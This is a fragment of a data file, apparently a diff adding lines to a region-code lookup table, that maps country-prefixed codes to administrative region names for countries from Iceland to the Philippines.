+"IS_18","Neskaupstadur", +"IS_19","Nordur-Isafjardarsysla", +"IS_20","Nordur-Mulasysla", +"IS_21","Nordur-Tingeyjarsysla", +"IS_22","Olafsfjordur", +"IS_23","Rangarvallasysla", +"IS_24","Reykjavik", +"IS_25","Saudarkrokur", +"IS_26","Seydisfjordur", +"IS_27","Siglufjordur", +"IS_28","Skagafjardarsysla", +"IS_29","Snafellsnes- og Hnappadalssysla", +"IS_30","Strandasysla", +"IS_31","Sudur-Mulasysla", +"IS_32","Sudur-Tingeyjarsysla", +"IS_33","Vestmannaeyjar", +"IS_34","Vestur-Bardastrandarsysla", +"IS_35","Vestur-Hunavatnssysla", +"IS_36","Vestur-Isafjardarsysla", +"IS_37","Vestur-Skaftafellssysla", +"IT_01","Abruzzi", +"IT_02","Basilicata", +"IT_03","Calabria", +"IT_04","Campania", +"IT_05","Emilia-Romagna", +"IT_06","Friuli-Venezia Giulia", +"IT_07","Lazio", +"IT_08","Liguria", +"IT_09","Lombardia", +"IT_10","Marche", +"IT_11","Molise", +"IT_12","Piemonte", +"IT_13","Puglia", +"IT_14","Sardegna", +"IT_15","Sicilia", +"IT_16","Toscana", +"IT_17","Trentino-Alto Adige", +"IT_18","Umbria", +"IT_19","Valle d'Aosta", +"IT_20","Veneto", +"JM_01","Clarendon", +"JM_02","Hanover", +"JM_04","Manchester", +"JM_07","Portland", +"JM_08","Saint Andrew", +"JM_09","Saint Ann", +"JM_10","Saint Catherine", +"JM_11","Saint Elizabeth", +"JM_12","Saint James", +"JM_13","Saint Mary", +"JM_14","Saint Thomas", +"JM_15","Trelawny", +"JM_16","Westmoreland", +"JM_17","Kingston", +"JO_02","Al Balqa'", +"JO_07","Ma", +"JO_09","Al Karak", +"JO_10","Al Mafraq", +"JO_12","At Tafilah", +"JO_13","Az Zarqa", +"JO_14","Irbid", +"JP_01","Aichi", +"JP_02","Akita", +"JP_03","Aomori", +"JP_04","Chiba", +"JP_05","Ehime", +"JP_06","Fukui", +"JP_07","Fukuoka", +"JP_08","Fukushima", +"JP_09","Gifu", +"JP_10","Gumma", +"JP_11","Hiroshima", +"JP_12","Hokkaido", +"JP_13","Hyogo", +"JP_14","Ibaraki", +"JP_15","Ishikawa", +"JP_16","Iwate", +"JP_17","Kagawa", +"JP_18","Kagoshima", +"JP_19","Kanagawa", +"JP_20","Kochi", +"JP_21","Kumamoto", +"JP_22","Kyoto", +"JP_23","Mie", +"JP_24","Miyagi", +"JP_25","Miyazaki", +"JP_26","Nagano", +"JP_27","Nagasaki", +"JP_28","Nara", +"JP_29","Niigata", +"JP_30","Oita", +"JP_31","Okayama", +"JP_32","Osaka", +"JP_33","Saga", +"JP_34","Saitama", +"JP_35","Shiga", +"JP_36","Shimane", +"JP_37","Shizuoka", +"JP_38","Tochigi", +"JP_39","Tokushima", +"JP_40","Tokyo", +"JP_41","Tottori", +"JP_42","Toyama", +"JP_43","Wakayama", +"JP_44","Yamagata", +"JP_45","Yamaguchi", +"JP_46","Yamanashi", +"JP_47","Okinawa", +"KE_01","Central", +"KE_02","Coast", +"KE_03","Eastern", +"KE_05","Nairobi Area", +"KE_06","North-Eastern", +"KE_07","Nyanza", +"KE_08","Rift Valley", +"KE_09","Western", +"KG_09","Batken", +"KH_02","Kampong Cham", +"KH_03","Kampong Chhnang", +"KH_04","Kampong Spoe", +"KH_05","Kampong Thum", +"KH_06","Kampot", +"KH_07","Kandal", +"KH_08","Kaoh Kong", +"KH_09","Kracheh", +"KH_10","Mondol Kiri", +"KH_11","Phnum Penh", +"KH_12","Pouthisat", +"KH_13","Preah Vihear", +"KH_14","Prey Veng", +"KH_15","Rotanokiri", +"KH_16","Siemreab-Otdar Meanchey", +"KH_17","Stoeng Treng", +"KH_18","Svay Rieng", +"KH_19","Takev", +"KH_29","Batdambang", +"KH_30","Pailin", +"KI_01","Gilbert Islands", +"KI_02","Line Islands", +"KI_03","Phoenix Islands", +"KM_01","Anjouan", +"KM_02","Grande Comore", +"KM_03","Moheli", +"KN_01","Christ Church Nichola Town", +"KN_02","Saint Anne Sandy Point", +"KN_03","Saint George Basseterre", +"KN_04","Saint George Gingerland", +"KN_05","Saint James Windward", +"KN_06","Saint John Capisterre", +"KN_07","Saint John Figtree", +"KN_08","Saint Mary Cayon", +"KN_09","Saint Paul Capisterre", +"KN_10","Saint Paul Charlestown", +"KN_11","Saint Peter Basseterre", +"KN_12","Saint Thomas Lowland", +"KN_13","Saint Thomas Middle Island", +"KN_15","Trinity Palmetto Point", +"KP_01","Chagang-do", +"KP_03","Hamgyong-namdo", +"KP_06","Hwanghae-namdo", +"KP_07","Hwanghae-bukto", +"KP_08","Kaesong-si", +"KP_09","Kangwon-do", +"KP_11","P'yongan-bukto", +"KP_12","P'yongyang-si", +"KP_13","Yanggang-do", +"KP_14","Namp'o-si", +"KP_15","P'yongan-namdo", +"KP_17","Hamgyong-bukto", +"KP_18","Najin Sonbong-si", +"KR_01","Cheju-do", +"KR_03","Cholla-bukto", +"KR_05","Ch'ungch'ong-bukto", +"KR_06","Kangwon-do", +"KR_10","Pusan-jikhalsi", +"KR_11","Seoul-t'ukpyolsi", +"KR_12","Inch'on-jikhalsi", +"KR_13","Kyonggi-do", +"KR_14","Kyongsang-bukto", +"KR_15","Taegu-jikhalsi", +"KR_16","Cholla-namdo", +"KR_17","Ch'ungch'ong-namdo", +"KR_18","Kwangju-jikhalsi", +"KR_19","Taejon-jikhalsi", +"KR_20","Kyongsang-namdo", +"KR_21","Ulsan-gwangyoksi", +"KW_01","Al Ahmadi", +"KW_02","Al Kuwayt", +"KW_03","Hawalli", +"KY_01","Creek", +"KY_02","Eastern", +"KY_03","Midland", +"KY_04","South Town", +"KY_05","Spot Bay", +"KY_06","Stake Bay", +"KY_07","West End", +"KY_08","Western", +"KZ_01","Almaty", +"KZ_02","Almaty City", +"KZ_03","Aqmola", +"KZ_04","Aqtebe", +"KZ_05","Astana", +"KZ_06","Atyrau", +"KZ_07","West Kazakhstan", +"KZ_08","Bayqonyr", +"KZ_09","Mangghystau", +"KZ_10","South Kazakhstan", +"KZ_11","Pavlodar", +"KZ_12","Qaraghandy", +"KZ_13","Qostanay", +"KZ_14","Qyzylorda", +"KZ_15","East Kazakhstan", +"KZ_16","North Kazakhstan", +"KZ_17","Zhambyl", +"LA_01","Attapu", +"LA_02","Champasak", +"LA_03","Houaphan", +"LA_04","Khammouan", +"LA_05","Louang Namtha", +"LA_06","Louangphrabang", +"LA_07","Oudomxai", +"LA_08","Phongsali", +"LA_09","Saravan", +"LA_10","Savannakhet", +"LA_11","Vientiane", +"LA_13","Xaignabouri", +"LA_14","Xiangkhoang", +"LB_01","Beqaa", +"LB_03","Liban-Nord", +"LB_04","Beyrouth", +"LB_05","Mont-Liban", +"LB_06","Liban-Sud", +"LB_07","Nabatiye", +"LC_01","Anse-la-Raye", +"LC_02","Dauphin", +"LC_03","Castries", +"LC_04","Choiseul", +"LC_05","Dennery", +"LC_06","Gros-Islet", +"LC_07","Laborie", +"LC_08","Micoud", +"LC_09","Soufriere", +"LC_10","Vieux-Fort", +"LC_11","Praslin", +"LI_01","Balzers", +"LI_02","Eschen", +"LI_03","Gamprin", +"LI_04","Mauren", +"LI_05","Planken", +"LI_06","Ruggell", +"LI_07","Schaan", +"LI_08","Schellenberg", +"LI_09","Triesen", +"LI_10","Triesenberg", +"LI_11","Vaduz", +"LK_01","Amparai", +"LK_02","Anuradhapura", +"LK_03","Badulla", +"LK_04","Batticaloa", +"LK_06","Galle", +"LK_07","Hambantota", +"LK_09","Kalutara", +"LK_10","Kandy", +"LK_11","Kegalla", +"LK_12","Kurunegala", +"LK_14","Matale", +"LK_15","Matara", +"LK_16","Moneragala", +"LK_17","Nuwara Eliya", +"LK_18","Polonnaruwa", +"LK_19","Puttalam", +"LK_20","Ratnapura", +"LK_21","Trincomalee", +"LK_23","Colombo", +"LK_24","Gampaha", +"LK_25","Jaffna", +"LK_26","Mannar", +"LK_27","Mullaittivu", +"LK_28","Vavuniya", +"LR_01","Bong", +"LR_02","Grand Jide", +"LR_03","Grand Bassa", +"LR_04","Grand Cape Mount", +"LR_05","Lofa", +"LR_06","Maryland", +"LR_07","Monrovia", +"LR_08","Montserrado", +"LR_09","Nimba", +"LR_10","Sino", +"LS_10","Berea", +"LS_11","Butha-Buthe", +"LS_12","Leribe", +"LS_13","Mafeteng", +"LS_14","Maseru", +"LS_15","Mohales Hoek", +"LS_16","Mokhotlong", +"LS_17","Qachas Nek", +"LS_18","Quthing", +"LS_19","Thaba-Tseka", +"LT_56","Alytaus Apskritis", +"LT_57","Kauno Apskritis", +"LT_58","Klaipedos Apskritis", +"LT_59","Marijampoles Apskritis", +"LT_60","Panevezio Apskritis", +"LT_61","Siauliu Apskritis", +"LT_62","Taurages Apskritis", +"LT_63","Telsiu Apskritis", +"LT_64","Utenos Apskritis", +"LT_65","Vilniaus Apskritis", +"LU_01","Diekirch", +"LU_02","Grevenmacher", +"LU_03","Luxembourg", +"LV_01","Aizkraukles", +"LV_02","Aluksnes", +"LV_03","Balvu", +"LV_04","Bauskas", +"LV_05","C�su", +"LV_06","Daugavpils", +"LV_07","Daugavpils", +"LV_08","Dobeles", +"LV_09","Gulbenes", +"LV_10","Jekabpils", +"LV_11","Jelgava", +"LV_12","Jelgavas", +"LV_13","Jurmala", +"LV_14","Krelavas", +"LV_15","Kuldigas", +"LV_16","Liepeja", +"LV_17","Liepejas", +"LV_18","Limbazu", +"LV_19","Ludzas", +"LV_20","Madonas", +"LV_21","Ogres", +"LV_22","Preilu", +"LV_23","Rezekne", +"LV_24","Rezeknes", +"LV_25","Riga", +"LV_26","Rigas", +"LV_27","Saldus", +"LV_28","Talsu", +"LV_29","Tukuma", +"LV_30","Valkas", +"LV_31","Valmieras", +"LV_32","Ventspils", +"LV_33","Ventspils", +"LY_03","Al", +"LY_05","Al Jufrah", +"LY_08","Al Kufrah", +"LY_13","Ash Shati'", +"LY_30","Murzuq", +"LY_34","Sabha", +"LY_41","Tarhunah", +"LY_42","Tubruq", +"LY_45","Zlitan", +"LY_47","Ajdabiya", +"LY_48","Al Fatih", +"LY_49","Al Jabal al Akhdar", +"LY_50","Al Khums", +"LY_51","An Nuqat al Khams", +"LY_52","Awbari", +"LY_53","Az Zawiyah", +"LY_54","Banghazi", +"LY_55","Darnah", +"LY_56","Ghadamis", +"LY_57","Gharyan", +"LY_58","Misratah", +"LY_59","Sawfajjin", +"LY_60","Surt", +"LY_61","Tarabulus", +"LY_62","Yafran", +"MA_01","Agadir", +"MA_02","Al Hoceima", +"MA_03","Azilal", +"MA_04","Ben Slimane", +"MA_05","Beni Mellal", +"MA_06","Boulemane", +"MA_07","Casablanca", +"MA_08","Chaouen", +"MA_09","El Jadida", +"MA_10","El Kelaa des Srarhna", +"MA_11","Er Rachidia", +"MA_12","Essaouira", +"MA_13","Fes", +"MA_14","Figuig", +"MA_15","Kenitra", +"MA_16","Khemisset", +"MA_17","Khenifra", +"MA_18","Khouribga", +"MA_19","Marrakech", +"MA_20","Meknes", +"MA_21","Nador", +"MA_22","Ouarzazate", +"MA_23","Oujda", +"MA_24","Rabat-Sale", +"MA_25","Safi", +"MA_26","Settat", +"MA_27","Tanger", +"MA_29","Tata", +"MA_30","Taza", +"MA_32","Tiznit", +"MA_33","Guelmim", +"MA_34","Ifrane", +"MA_35","Laayoune", +"MA_36","Tan-Tan", +"MA_37","Taounate", +"MA_38","Sidi Kacem", +"MA_39","Taroudannt", +"MA_40","Tetouan", +"MA_41","Larache", +"MC_01","La Condamine", +"MC_02","Monaco", +"MC_03","Monte-Carlo", +"MD_46","Balti", +"MD_47","Cahul", +"MD_48","Chisinau", +"MD_49","Stinga Nistrului", +"MD_50","Edinet", +"MD_51","Gagauzia", +"MD_52","Lapusna", +"MD_53","Orhei", +"MD_54","Soroca", +"MD_55","Tighina", +"MD_56","Ungheni", +"MG_01","Antsiranana", +"MG_02","Fianarantsoa", +"MG_03","Mahajanga", +"MG_04","Toamasina", +"MG_05","Antananarivo", +"MG_06","Toliara", +"MK_01","Aracinovo", +"MK_02","Bac", +"MK_03","Belcista", +"MK_04","Berovo", +"MK_05","Bistrica", +"MK_06","Bitola", +"MK_07","Blatec", +"MK_08","Bogdanci", +"MK_09","Bogomila", +"MK_10","Bogovinje", +"MK_11","Bosilovo", +"MK_12","Brvenica", +"MK_13","Cair", +"MK_14","Capari", +"MK_15","Caska", +"MK_16","Cegrane", +"MK_17","Centar", +"MK_18","Centar Zupa", +"MK_19","Cesinovo", +"MK_20","Cucer-Sandevo", +"MK_21","Debar", +"MK_22","Delcevo", +"MK_23","Delogozdi", +"MK_24","Demir Hisar", +"MK_25","Demir Kapija", +"MK_26","Dobrusevo", +"MK_27","Dolna Banjica", +"MK_28","Dolneni", +"MK_29","Dorce Petrov", +"MK_30","Drugovo", +"MK_31","Dzepciste", +"MK_32","Gazi Baba", +"MK_33","Gevgelija", +"MK_34","Gostivar", +"MK_35","Gradsko", +"MK_36","Ilinden", +"MK_37","Izvor", +"MK_38","Jegunovce", +"MK_39","Kamenjane", +"MK_40","Karbinci", +"MK_41","Karpos", +"MK_42","Kavadarci", +"MK_43","Kicevo", +"MK_44","Kisela Voda", +"MK_45","Klecevce", +"MK_46","Kocani", +"MK_47","Konce", +"MK_48","Kondovo", +"MK_49","Konopiste", +"MK_50","Kosel", +"MK_51","Kratovo", +"MK_52","Kriva Palanka", +"MK_53","Krivogastani", +"MK_54","Krusevo", +"MK_55","Kuklis", +"MK_56","Kukurecani", +"MK_57","Kumanovo", +"MK_58","Labunista", +"MK_59","Lipkovo", +"MK_60","Lozovo", +"MK_61","Lukovo", +"MK_62","Makedonska Kamenica", +"MK_63","Makedonski Brod", +"MK_64","Mavrovi Anovi", +"MK_65","Meseista", +"MK_66","Miravci", +"MK_67","Mogila", +"MK_68","Murtino", +"MK_69","Negotino", +"MK_70","Negotino-Polosko", +"MK_71","Novaci", +"MK_72","Novo Selo", +"MK_73","Oblesevo", +"MK_74","Ohrid", +"MK_75","Orasac", +"MK_76","Orizari", +"MK_77","Oslomej", +"MK_78","Pehcevo", +"MK_79","Petrovec", +"MK_80","Plasnica", +"MK_81","Podares", +"MK_82","Prilep", +"MK_83","Probistip", +"MK_84","Radovis", +"MK_85","Rankovce", +"MK_86","Resen", +"MK_87","Rosoman", +"MK_88","Rostusa", +"MK_89","Samokov", +"MK_90","Saraj", +"MK_91","Sipkovica", +"MK_92","Sopiste", +"MK_93","Sopotnica", +"MK_94","Srbinovo", +"MK_95","Staravina", +"MK_96","Star Dojran", +"MK_97","Staro Nagoricane", +"MK_98","Stip", +"MK_99","Struga", +"MK_A1","Strumica", +"MK_A2","Studenicani", +"MK_A3","Suto Orizari", +"MK_A4","Sveti Nikole", +"MK_A5","Tearce", +"MK_A6","Tetovo", +"MK_A7","Topolcani", +"MK_A8","Valandovo", +"MK_A9","Vasilevo", +"MK_B1","Veles", +"MK_B2","Velesta", +"MK_B3","Vevcani", +"MK_B4","Vinica", +"MK_B5","Vitoliste", +"MK_B6","Vranestica", +"MK_B7","Vrapciste", +"MK_B8","Vratnica", +"MK_B9","Vrutok", +"MK_C1","Zajas", +"MK_C2","Zelenikovo", +"MK_C3","Zelino", +"MK_C4","Zitose", +"MK_C5","Zletovo", +"MK_C6","Zrnovci", +"ML_01","Bamako", +"ML_03","Kayes", +"ML_04","Mopti", +"ML_05","Segou", +"ML_06","Sikasso", +"ML_07","Koulikoro", +"ML_08","Tombouctou", +"ML_09","Gao", +"ML_10","Kidal", +"MM_01","Rakhine State", +"MM_02","Chin State", +"MM_03","Irrawaddy", +"MM_04","Kachin State", +"MM_05","Karan State", +"MM_06","Kayah State", +"MM_07","Magwe", +"MM_08","Mandalay", +"MM_09","Pegu", +"MM_10","Sagaing", +"MM_11","Shan State", +"MM_12","Tenasserim", +"MM_13","Mon State", +"MM_14","Rangoon", +"MN_01","Arhangay", +"MN_02","Bayanhongor", +"MN_03","Bayan-Olgiy", +"MN_05","Darhan", +"MN_06","Dornod", +"MN_07","Dornogovi", +"MN_08","Dundgovi", +"MN_09","Dzavhan", +"MN_10","Govi-Altay", +"MN_11","Hentiy", +"MN_12","Hovd", +"MN_13","Hovsgol", +"MN_14","Omnogovi", +"MN_15","Ovorhangay", +"MN_16","Selenge", +"MN_17","Suhbaatar", +"MN_18","Tov", +"MN_19","Uvs", +"MN_20","Ulaanbaatar", +"MN_21","Bulgan", +"MN_22","Erdenet", +"MN_23","Darhan Uul", +"MN_24","Govi-Sumber", +"MN_25","Orhon", +"MO_01","Ilhas", +"MO_02","Macau", +"MR_01","Hodh Ech Chargui", +"MR_02","Hodh El Gharbi", +"MR_03","Assaba", +"MR_04","Gorgol", +"MR_05","Brakna", +"MR_06","Trarza", +"MR_07","Adrar", +"MR_08","Dakhlet Nouadhibou", +"MR_09","Tagant", +"MR_10","Guidimaka", +"MR_11","Tiris Zemmour", +"MR_12","Inchiri", +"MS_01","Saint Anthony", +"MS_02","Saint Georges", +"MS_03","Saint Peter", +"MU_12","Black River", +"MU_13","Flacq", +"MU_14","Grand Port", +"MU_15","Moka", +"MU_16","Pamplemousses", +"MU_17","Plaines Wilhems", +"MU_18","Port Louis", +"MU_19","Riviere du Rempart", +"MU_20","Savanne", +"MU_21","Agalega Islands", +"MU_22","Cargados Carajos", +"MU_23","Rodrigues", +"MV_01","Seenu", +"MV_02","Aliff", +"MV_03","Laviyani", +"MV_04","Waavu", +"MV_05","Laamu", +"MV_07","Haa Aliff", +"MV_08","Thaa", +"MV_12","Meemu", +"MV_13","Raa", +"MV_14","Faafu", +"MV_17","Daalu", +"MV_20","Baa", +"MV_23","Haa Daalu", +"MV_24","Shaviyani", +"MV_25","Noonu", +"MV_26","Kaafu", +"MV_27","Gaafu Aliff", +"MV_28","Gaafu Daalu", +"MV_29","Naviyani", +"MW_02","Chikwawa", +"MW_03","Chiradzulu", +"MW_04","Chitipa", +"MW_05","Thyolo", +"MW_06","Dedza", +"MW_07","Dowa", +"MW_08","Karonga", +"MW_09","Kasungu", +"MW_11","Lilongwe", +"MW_12","Mangochi", +"MW_13","Mchinji", +"MW_15","Mzimba", +"MW_16","Ntcheu", +"MW_17","Nkhata Bay", +"MW_18","Nkhotakota", +"MW_19","Nsanje", +"MW_20","Ntchisi", +"MW_21","Rumphi", +"MW_22","Salima", +"MW_23","Zomba", +"MW_24","Blantyre", +"MW_25","Mwanza", +"MW_26","Balaka", +"MW_27","Likoma", +"MW_28","Machinga", +"MW_29","Mulanje", +"MW_30","Phalombe", +"MX_01","Aguascalientes", +"MX_02","Baja California", +"MX_03","Baja California Sur", +"MX_04","Campeche", +"MX_05","Chiapas", +"MX_06","Chihuahua", +"MX_07","Coahuila de Zaragoza", +"MX_08","Colima", +"MX_09","Distrito Federal", +"MX_10","Durango", +"MX_11","Guanajuato", +"MX_12","Guerrero", +"MX_13","Hidalgo", +"MX_14","Jalisco", +"MX_15","Mexico", +"MX_16","Michoacan de Ocampo", +"MX_17","Morelos", +"MX_18","Nayarit", +"MX_19","Nuevo Leon", +"MX_20","Oaxaca", +"MX_21","Puebla", +"MX_22","Queretaro de Arteaga", +"MX_23","Quintana Roo", +"MX_24","San Luis Potosi", +"MX_25","Sinaloa", +"MX_26","Sonora", +"MX_27","Tabasco", +"MX_28","Tamaulipas", +"MX_29","Tlaxcala", +"MX_30","Veracruz-Llave", +"MX_31","Yucatan", +"MX_32","Zacatecas", +"MY_01","Johor", +"MY_02","Kedah", +"MY_03","Kelantan", +"MY_04","Melaka", +"MY_05","Negeri Sembilan", +"MY_06","Pahang", +"MY_07","Perak", +"MY_08","Perlis", +"MY_09","Pulau Pinang", +"MY_11","Sarawak", +"MY_12","Selangor", +"MY_13","Terengganu", +"MY_14","Wilayah Persekutuan", +"MY_15","Labuan", +"MY_16","Sabah", +"MZ_01","Cabo Delgado", +"MZ_02","Gaza", +"MZ_03","Inhambane", +"MZ_04","Maputo", +"MZ_05","Sofala", +"MZ_06","Nampula", +"MZ_07","Niassa", +"MZ_08","Tete", +"MZ_09","Zambezia", +"MZ_10","Manica", +"NA_01","Bethanien", +"NA_02","Caprivi Oos", +"NA_03","Boesmanland", +"NA_04","Gobabis", +"NA_05","Grootfontein", +"NA_06","Kaokoland", +"NA_07","Karibib", +"NA_08","Keetmanshoop", +"NA_09","Luderitz", +"NA_10","Maltahohe", +"NA_11","Okahandja", +"NA_12","Omaruru", +"NA_13","Otjiwarongo", +"NA_14","Outjo", +"NA_15","Owambo", +"NA_16","Rehoboth", +"NA_17","Swakopmund", +"NA_18","Tsumeb", +"NA_20","Karasburg", +"NA_21","Windhoek", +"NA_22","Damaraland", +"NA_23","Hereroland Oos", +"NA_24","Hereroland Wes", +"NA_25","Kavango", +"NA_26","Mariental", +"NA_27","Namaland", +"NE_01","Agadez", +"NE_02","Diffa", +"NE_03","Dosso", +"NE_04","Maradi", +"NE_05","Niamey", +"NE_06","Tahoua", +"NE_07","Zinder", +"NG_05","Lagos", +"NG_11","Abuja Capital Territory", +"NG_16","Ogun", +"NG_21","Akwa Ibom", +"NG_22","Cross River", +"NG_23","Kaduna", +"NG_24","Katsina", +"NG_25","Anambra", +"NG_26","Benue", +"NG_27","Borno", +"NG_28","Imo", +"NG_29","Kano", +"NG_30","Kwara", +"NG_31","Niger", +"NG_32","Oyo", +"NG_35","Adamawa", +"NG_36","Delta", +"NG_37","Edo", +"NG_39","Jigawa", +"NG_40","Kebbi", +"NG_41","Kogi", +"NG_42","Osun", +"NG_43","Taraba", +"NG_44","Yobe", +"NG_45","Abia", +"NG_46","Bauchi", +"NG_47","Enugu", +"NG_48","Ondo", +"NG_49","Plateau", +"NG_50","Rivers", +"NG_51","Sokoto", +"NG_52","Bayelsa", +"NG_53","Ebonyi", +"NG_54","Ekiti", +"NG_55","Gombe", +"NG_56","Nassarawa", +"NG_57","Zamfara", +"NI_01","Boaco", +"NI_02","Carazo", +"NI_03","Chinandega", +"NI_04","Chontales", +"NI_05","Esteli", +"NI_06","Granada", +"NI_07","Jinotega", +"NI_08","Leon", +"NI_09","Madriz", +"NI_10","Managua", +"NI_11","Masaya", +"NI_12","Matagalpa", +"NI_13","Nueva Segovia", +"NI_14","Rio San Juan", +"NI_15","Rivas", +"NI_16","Zelaya", +"NL_01","Drenthe", +"NL_02","Friesland", +"NL_03","Gelderland", +"NL_04","Groningen", +"NL_05","Limburg", +"NL_06","Noord-Brabant", +"NL_07","Noord-Holland", +"NL_08","Overijssel", +"NL_09","Utrecht", +"NL_10","Zeeland", +"NL_11","Zuid-Holland", +"NL_12","Dronten", +"NL_13","Zuidelijke IJsselmeerpolders", +"NL_14","Lelystad", +"NL_15","Overijssel", +"NL_16","Flevoland", +"NO_01","Akershus", +"NO_02","Aust-Agder", +"NO_04","Buskerud", +"NO_05","Finnmark", +"NO_06","Hedmark", +"NO_07","Hordaland", +"NO_08","More og Romsdal", +"NO_09","Nordland", +"NO_10","Nord-Trondelag", +"NO_11","Oppland", +"NO_12","Oslo", +"NO_13","Ostfold", +"NO_14","Rogaland", +"NO_15","Sogn og Fjordane", +"NO_16","Sor-Trondelag", +"NO_17","Telemark", +"NO_18","Troms", +"NO_19","Vest-Agder", +"NO_20","Vestfold", +"NP_01","Bagmati", +"NP_02","Bheri", +"NP_03","Dhawalagiri", +"NP_04","Gandaki", +"NP_05","Janakpur", +"NP_06","Karnali", +"NP_07","Kosi", +"NP_08","Lumbini", +"NP_09","Mahakali", +"NP_10","Mechi", +"NP_11","Narayani", +"NP_12","Rapti", +"NP_13","Sagarmatha", +"NP_14","Seti", +"NR_01","Aiwo", +"NR_02","Anabar", +"NR_03","Anetan", +"NR_04","Anibare", +"NR_05","Baiti", +"NR_06","Boe", +"NR_07","Buada", +"NR_08","Denigomodu", +"NR_09","Ewa", +"NR_10","Ijuw", +"NR_11","Meneng", +"NR_12","Nibok", +"NR_13","Uaboe", +"NR_14","Yaren", +"NZ_01","Akaroa", +"NZ_03","Amuri", +"NZ_04","Ashburton", +"NZ_07","Bay of Islands", +"NZ_08","Bruce", +"NZ_09","Buller", +"NZ_10","Chatham Islands", +"NZ_11","Cheviot", +"NZ_12","Clifton", +"NZ_13","Clutha", +"NZ_14","Cook", +"NZ_16","Dannevirke", +"NZ_17","Egmont", +"NZ_18","Eketahuna", +"NZ_19","Ellesmere", +"NZ_20","Eltham", +"NZ_21","Eyre", +"NZ_22","Featherston", +"NZ_24","Franklin", +"NZ_26","Golden Bay", +"NZ_27","Great Barrier Island", +"NZ_28","Grey", +"NZ_29","Hauraki Plains", +"NZ_30","Hawera", +"NZ_31","Hawke's Bay", +"NZ_32","Heathcote", +"NZ_33","Hobson", +"NZ_34","Hokianga", +"NZ_35","Horowhenua", +"NZ_36","Hutt", +"NZ_37","Inangahua", +"NZ_38","Inglewood", +"NZ_39","Kaikoura", +"NZ_40","Kairanga", +"NZ_41","Kiwitea", +"NZ_43","Lake", +"NZ_45","Mackenzie", +"NZ_46","Malvern", +"NZ_47","Manawatu", +"NZ_48","Mangonui", +"NZ_49","Maniototo", +"NZ_50","Marlborough", +"NZ_51","Masterton", +"NZ_52","Matamata", +"NZ_53","Mount Herbert", +"NZ_54","Ohinemuri", +"NZ_55","Opotiki", +"NZ_56","Oroua", +"NZ_57","Otamatea", +"NZ_58","Otorohanga", +"NZ_59","Oxford", +"NZ_60","Pahiatua", +"NZ_61","Paparua", +"NZ_63","Patea", +"NZ_65","Piako", +"NZ_66","Pohangina", +"NZ_67","Raglan", +"NZ_68","Rangiora", +"NZ_69","Rangitikei", +"NZ_70","Rodney", +"NZ_71","Rotorua", +"NZ_72","Southland", +"NZ_73","Stewart Island", +"NZ_74","Stratford", +"NZ_76","Taranaki", +"NZ_77","Taumarunui", +"NZ_78","Taupo", +"NZ_79","Tauranga", +"NZ_81","Tuapeka", +"NZ_82","Vincent", +"NZ_83","Waiapu", +"NZ_84","Waihemo", +"NZ_85","Waikato", +"NZ_86","Waikohu", +"NZ_88","Waimairi", +"NZ_89","Waimarino", +"NZ_90","Waimate", +"NZ_91","Waimate West", +"NZ_92","Waimea", +"NZ_93","Waipa", +"NZ_95","Waipawa", +"NZ_96","Waipukurau", +"NZ_97","Wairarapa South", +"NZ_98","Wairewa", +"NZ_99","Wairoa", +"NZ_A1","Whangarei", +"NZ_A2","Whangaroa", +"NZ_A3","Woodville", +"NZ_A4","Waitaki", +"NZ_A6","Waitomo", +"NZ_A8","Waitotara", +"NZ_B2","Wanganui", +"NZ_B3","Westland", +"NZ_B4","Whakatane", +"NZ_D4","Hurunui", +"NZ_D5","Silverpeaks", +"NZ_D6","Strathallan", +"NZ_D8","Waiheke", +"NZ_D9","Hikurangi", +"NZ_E1","Manaia", +"NZ_E2","Runanga", +"NZ_E3","Saint Kilda", +"NZ_E4","Thames-Coromandel", +"NZ_E5","Waverley", +"NZ_E6","Wallace", +"OM_01","Ad Dakhiliyah", +"OM_02","Al Batinah", +"OM_03","Al Wusta", +"OM_04","Ash Sharqiyah", +"OM_05","Az Zahirah", +"OM_06","Masqat", +"OM_07","Musandam", +"OM_08","Zufar", +"PA_01","Bocas del Toro", +"PA_02","Chiriqui", +"PA_03","Cocle", +"PA_04","Colon", +"PA_05","Darien", +"PA_06","Herrera", +"PA_07","Los Santos", +"PA_08","Panama", +"PA_09","San Blas", +"PA_10","Veraguas", +"PE_01","Amazonas", +"PE_02","Ancash", +"PE_03","Apurimac", +"PE_04","Arequipa", +"PE_05","Ayacucho", +"PE_06","Cajamarca", +"PE_07","Callao", +"PE_08","Cusco", +"PE_09","Huancavelica", +"PE_10","Huanuco", +"PE_11","Ica", +"PE_12","Junin", +"PE_13","La Libertad", +"PE_14","Lambayeque", +"PE_15","Lima", +"PE_16","Loreto", +"PE_17","Madre de Dios", +"PE_18","Moquegua", +"PE_19","Pasco", +"PE_20","Piura", +"PE_21","Puno", +"PE_22","San Martin", +"PE_23","Tacna", +"PE_24","Tumbes", +"PE_25","Ucayali", +"PG_01","Central", +"PG_02","Gulf", +"PG_03","Milne Bay", +"PG_04","Northern", +"PG_05","Southern Highlands", +"PG_06","Western", +"PG_07","North Solomons", +"PG_08","Chimbu", +"PG_09","Eastern Highlands", +"PG_10","East New Britain", +"PG_11","East Sepik", +"PG_12","Madang", +"PG_13","Manus", +"PG_14","Morobe", +"PG_15","New Ireland", +"PG_16","Western Highlands", +"PG_17","West New Britain", +"PG_18","Sandaun", +"PG_19","Enga", +"PG_20","National Capital", +"PH_01","Abra", +"PH_02","Agusan del Norte", +"PH_03","Agusan del Sur", +"PH_04","Aklan", +"PH_05","Albay", +"PH_06","Antique", +"PH_07","Bataan", +"PH_08","Batanes", +"PH_09","Batangas", +"PH_10","Benguet", +"PH_11","Bohol", +"PH_12","Bukidnon", +"PH_13","Bulacan", +"PH_14","Cagayan", +"PH_15","Camarines Norte", +"PH_16","Camarines Sur", +"PH_17","Camiguin", +"PH_18","Capiz", +"PH_19","Catanduanes", +"PH_20","Cavite", +"PH_21","Cebu", +"PH_22","Basilan", +"PH_23","Eastern Samar", +"PH_24","Davao", +"PH_25","Davao del Sur", +"PH_26","Davao Oriental", +"PH_27","Ifugao", +"PH_28","Ilocos Norte", +"PH_29","Ilocos Sur", +"PH_30","Iloilo", +"PH_31","Isabela", +"PH_32","Kalinga-Apayao", +"PH_33","Laguna", +"PH_34","Lanao del Norte", +"PH_35","Lanao del Sur", +"PH_36","La Union", +"PH_37","Leyte", +"PH_38","Marinduque", +"PH_39","Masbate", +"PH_40","Mindoro Occidental", +"PH_41","Mindoro Oriental", +"PH_42","Misamis Occidental", +"PH_43","Misamis Oriental", +"PH_44","Mountain", +"PH_46","Negros Oriental", +"PH_47","Nueva Ecija", 